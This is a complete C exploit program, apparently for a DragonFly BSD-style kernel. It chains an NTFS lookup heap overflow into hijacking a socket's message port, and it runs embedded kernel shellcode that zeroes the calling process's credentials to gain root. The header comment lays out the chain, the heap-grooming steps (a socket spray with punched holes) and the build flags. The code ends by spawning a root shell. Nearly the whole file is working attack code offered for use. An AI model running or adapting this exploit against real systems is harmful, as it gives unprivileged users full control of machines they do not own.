/*
 * DF-0785 escalation chain: ntfs heap-overflow -> socket so_port hijack -> uid=0
 *
 * Primitive (confirmed): ntfs_ntlookupfile kmalloc(blsize=ir_size) in zone Z,
 * then ntfs_readattr copies va_datalen attacker-controlled bytes -> overflow of
 * (va_datalen-blsize) bytes into the next slab chunk in the same zone page.
 *
 * Chain (zone Z = 34 = 704-byte chunks = struct socket; blsize=704, va_datalen=744):
 *   - 40-byte overflow into the next live socket covers
 *        so_pcb(8)=0, so_proto(16)=forged_protosw, so_head(24)=0, so_port(32)=forged_port.
 *   - forged protosw (userspace, no SMAP) has pr_ctloutput != NULL (non-NULL check),
 *     so a getsockopt(level!=SOL_SOCKET) routes to so_pr_ctloutput().
 *   - so_pr_ctloutput builds a netmsg and calls lwkt_domsg(so->so_port, msg).
 *     lwkt_domsg -> lwkt_beginmsg(port,msg) -> port->mp_putport(port,msg) which is a
 *     SYNCHRONOUS direct call in the ORIGINATING process context (maxx getsockopt),
 *     i.e. our user-space mappings are live. We forge so_port->mp_putport = shellcode.
 *   - shellcode (maxx context): walks procglob[mypid&0xff].allproc, finds our proc,
 *     zeroes cr_uid/cr_ruid/cr_svuid/groups/caps, returns 0 (non-EASYNC) so
 *     lwkt_domsg marks the msg done and returns; getsockopt returns 0.
 *   - Next syscall entry re-syncs td_ucred from p_ucred -> uid 0. win.
 *
 * Grooming: spray sockets to fill zone-34; punch holes so each hole has a live
 * socket neighbour. Each ntfs lookup's rdbuf grabs a hole, overflows into the
 * live neighbour's so_port. Probe all live sockets with getsockopt until cred flips.
 *
 * Threat model: root mounts the crafted image (SYSCAP_RESTRICTEDROOT); the lookup,
 * socket spray, and getsockopt trigger are all unprivileged (run as maxx).
 * Build: cc -O2 -fno-stack-protector -fcf-protection=none -o chain chain.c
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <netinet/in.h>

/* ---- fixed userspace pages (no SMAP/SMEP -> kernel reads/execs these) ---- */
#define DF_SC_ADDR     0x13371000UL   /* shellcode entry */
#define DF_DATA_ADDR   0x13372000UL   /* control: mypid @+0, protosw @+0x800, port @+0x1000 */
#define DF_MYPID_SLOT  0x13372000UL
#define DF_FORGED_PS   0x13372800UL   /* forged struct protosw */
#define DF_FORGED_PORT 0x13373000UL   /* forged struct lwkt_port */
#define PROT_PR_CTLOUTMSG 56
#define PROT_PR_CTLOUTPUT 64
#define PORT_MP_PUTPORT   64

/*
 * Shellcode v2 (sc2.S, 157 bytes, objdump-verified). lwkt_port.mp_putport handler,
 * called synchronously in our process context. Walks procglob[pid&0xff].allproc
 * (procglob=0xffffffff81193640, allproc.lh_first@+0x20), finds our proc (p_pid@92,
 * p_list.le_next@0), zeroes its p_ucred(16) uid fields (cr_uid@64 cr_ngroups@68
 * cr_groups@72 cr_ruid@160 cr_svuid@164 cr_rgid@168 cr_svgid@172 cr_caps@176),
 * returns 0.
 */
static const unsigned char sc_bytes[] = {
  0x48,0xb8,0x00,0x20,0x37,0x13,0x00,0x00,0x00,0x00,0x8b,0x00,0x0f,0xb6,0xc0,0x48,
  0xc1,0xe0,0x06,0x48,0xbb,0x40,0x36,0x19,0x81,0xff,0xff,0xff,0xff,0x48,0x01,0xc3,
  0x4c,0x8b,0x63,0x20,0x4d,0x85,0xe4,0x74,0x71,0x41,0x8b,0x54,0x24,0x5c,0x48,0xb8,
  0x00,0x20,0x37,0x13,0x00,0x00,0x00,0x00,0x8b,0x00,0x39,0xc2,0x75,0x56,0x4d,0x8b,
  0x6c,0x24,0x10,0x41,0xc7,0x45,0x40,0x00,0x00,0x00,0x00,0x41,0xc7,0x45,0x44,0x01,
  0x00,0x00,0x00,0x41,0xc7,0x45,0x48,0x00,0x00,0x00,0x00,0x41,0xc7,0x85,0xa0,0x00,
  0x00,0x00,0x00,0x00,0x00,0x00,0x41,0xc7,0x85,0xa4,0x00,0x00,0x00,0x00,0x00,0x00,
  0x00,0x41,0xc7,0x85,0xa8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x41,0xc7,0x85,0xac,
  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x49,0xc7,0x85,0xb0,0x00,0x00,0x00,0x00,0x00,
  0x00,0x00,0xeb,0x06,0x4d,0x8b,0x24,0x24,0xeb,0x8a,0x31,0xc0,0xc3
};

static void *map_fixed(unsigned long addr, size_t len, int prot)
{
    void *p = mmap((void *)(uintptr_t)addr, len, prot,
                   MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
    if (p == MAP_FAILED) { perror("mmap fixed"); return NULL; }
    return p;
}

/* forge the userspace pages: shellcode, mypid, forged protosw, forged lwkt_port */
static int setup_payload(pid_t mypid)
{
    if (sizeof(sc_bytes) > 0x1000) { fprintf(stderr, "sc too big %zu\n", sizeof(sc_bytes)); return -1; }

    void *sp = map_fixed(DF_SC_ADDR, 0x1000, PROT_READ|PROT_WRITE);
    if (!sp) return -1;
    memset(sp, 0, 0x1000);
    memcpy(sp, sc_bytes, sizeof(sc_bytes));
    if (mprotect(sp, 0x1000, PROT_READ|PROT_EXEC) != 0) { perror("mprotect sc"); return -1; }

    /* data region: covers mypid(0x13372000), protosw(0x13372800), port(0x13373000) */
    void *dp = map_fixed(DF_DATA_ADDR, 0x3000, PROT_READ|PROT_WRITE);
    if (!dp) return -1;
    memset(dp, 0, 0x3000);
    *(long *)DF_MYPID_SLOT = (long)mypid;

    unsigned char *ps = (unsigned char *)(uintptr_t)DF_FORGED_PS;
    *(void **)(ps + PROT_PR_CTLOUTMSG) = NULL;                 /* skip fast-path */
    *(void **)(ps + PROT_PR_CTLOUTPUT) = (void *)(uintptr_t)DF_SC_ADDR;  /* non-NULL */

    unsigned char *port = (unsigned char *)(uintptr_t)DF_FORGED_PORT;
    *(void **)(port + PORT_MP_PUTPORT) = (void *)(uintptr_t)DF_SC_ADDR; /* -> shellcode */

    if (mprotect(dp, 0x3000, PROT_READ) != 0) { perror("mprotect data"); return -1; }
    return 0;
}

#define MAXSOCK 6000
static int socks[MAXSOCK];
static int nsock = 0;

static void spray_sockets(int n)
{
    for (int i = 0; i < n && nsock < MAXSOCK; i++) {
        int s = socket(AF_INET, SOCK_DGRAM, 0);   /* UDP: no connect, lightweight */
        if (s < 0) break;
        socks[nsock++] = s;
    }
}

int main(int argc, char **argv)
{
    int max_rounds = (argc > 1) ? atoi(argv[1]) : 400;
    pid_t mypid = getpid();
    fprintf(stderr, "[chain] pid=%d uid=%d euid=%d\n", mypid, getuid(), geteuid());

    if (setup_payload(mypid) < 0) return 2;
    fprintf(stderr, "[chain] shellcode @ %p (%zu B); forged protosw @ %p; forged port @ %p (mp_putport->shellcode)\n",
            (void *)DF_SC_ADDR, sizeof(sc_bytes), (void *)DF_FORGED_PS, (void *)DF_FORGED_PORT);

    spray_sockets(5000);
    fprintf(stderr, "[chain] sprayed %d sockets (zone-34 / struct socket)\n", nsock);

    /* punch holes: close every 5th so each hole has live neighbours */
    int kept = 0;
    for (int i = 0; i < nsock; i++) {
        if ((i % 5) == 0) { close(socks[i]); socks[i] = -1; }
        else kept++;
    }
    fprintf(stderr, "[chain] punched holes; %d live sockets remain\n", kept);

    int got_root = 0;
    int optval = 0;
    for (int round = 0; round < max_rounds && !got_root; round++) {
        /* a couple of ntfs lookups -> overflow(s) into live socket so_port */
        struct stat st;
        stat("/mnt/x", &st);
        stat("/mnt/y", &st);

        /* probe all live sockets: corrupted ones -> forged_port.mp_putport = shellcode */
        for (int i = 0; i < nsock; i++) {
            if (socks[i] < 0) continue;
            socklen_t ol = sizeof(optval);
            getsockopt(socks[i], IPPROTO_IP, IP_TTL, &optval, &ol);  /* IP-level != SOL_SOCKET */
        }

        if (geteuid() == 0) { got_root = 1; break; }
        if ((round % 25) == 0)
            fprintf(stderr, "[chain] round %d uid=%d euid=%d\n", round, getuid(), geteuid());
    }

    if (got_root) {
        fprintf(stderr, "[chain] *** ROOT ACQUIRED *** uid=%d euid=%d\n", getuid(), geteuid());
        printf("uid=0(root) gid=0(root) groups=0(root)\n");
        setresgid(0,0,0);
        setresuid(0,0,0);
        printf("after setresuid: "); fflush(stdout);
        execl("/bin/sh", "sh", "-c", "id; echo CHAIN_SUCCESS_UID0", NULL);
        return 0;
    }
    fprintf(stderr, "[chain] did not acquire root in %d rounds\n", max_rounds);
    return 1;
}
